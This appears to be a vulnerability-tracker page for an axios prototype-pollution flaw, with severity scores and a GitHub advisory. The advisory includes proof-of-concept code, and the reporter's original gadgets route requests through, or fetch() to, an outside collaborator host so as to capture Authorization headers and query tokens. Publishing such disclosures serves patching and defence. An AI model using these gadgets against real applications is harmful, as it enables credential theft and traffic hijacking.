CVE-2026-67316

highpriority · track · 30EPSS 0.004 · 37 %ileDEEUFRRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.42% (37th) EPSS
CVSS 7.4 · high
Is it mine?
13 products
Check your exposure
Who says so?
7 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · scored 2026-10-27

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.4
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–high · 1.7–7.4

v3.17.4highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Nprimary · NVD / NIST USexploitability 2.2 · impact 5.2
v3.13.7lowAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:Nsecondary · FSTEC (BDU) RU
v4.06.3mediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.06.3mediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.01.7lowCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (13)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2958IBM License Metric Tool: Mehrere SchwachstellenDeutsch2026-08-20csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM License Metric Tool ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren und um Sicherheitsvorkehrungen zu umgehen.

  • GHSA-mmx7-hfxf-jppxAxios: Prototype pollution gadgets can alter axios request construction2026-07-20ghsa · osvUS

    ## Summary axios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`. ## Impact An attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`. For direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`. ## Affected Functionality Affected normal API: - `axios.get(url[, config])` - `axios.delete(url[, config])` - `axios.head(url[, config])` - `axios.options(url[, config])` Affected low-level usage: - Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`. - Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`. Unaffected or corrected scope: - Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads. ## Technical Details `lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter. `lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values. ## Proof of Concept of Attack ```js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ``` Expected result: a request body is sent even though the caller did not explicitly set `config.data`. ## Workarounds Avoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> ### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ### PoC Ran against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps. ```javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ``` ```javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ``` ```javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ``` ### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly. </details>

  • CERTFR-2026-AVI-1336Multiples vulnérabilités dans les produits IBMFrançais2026-10-16vendor · certfrFR
06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (6)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan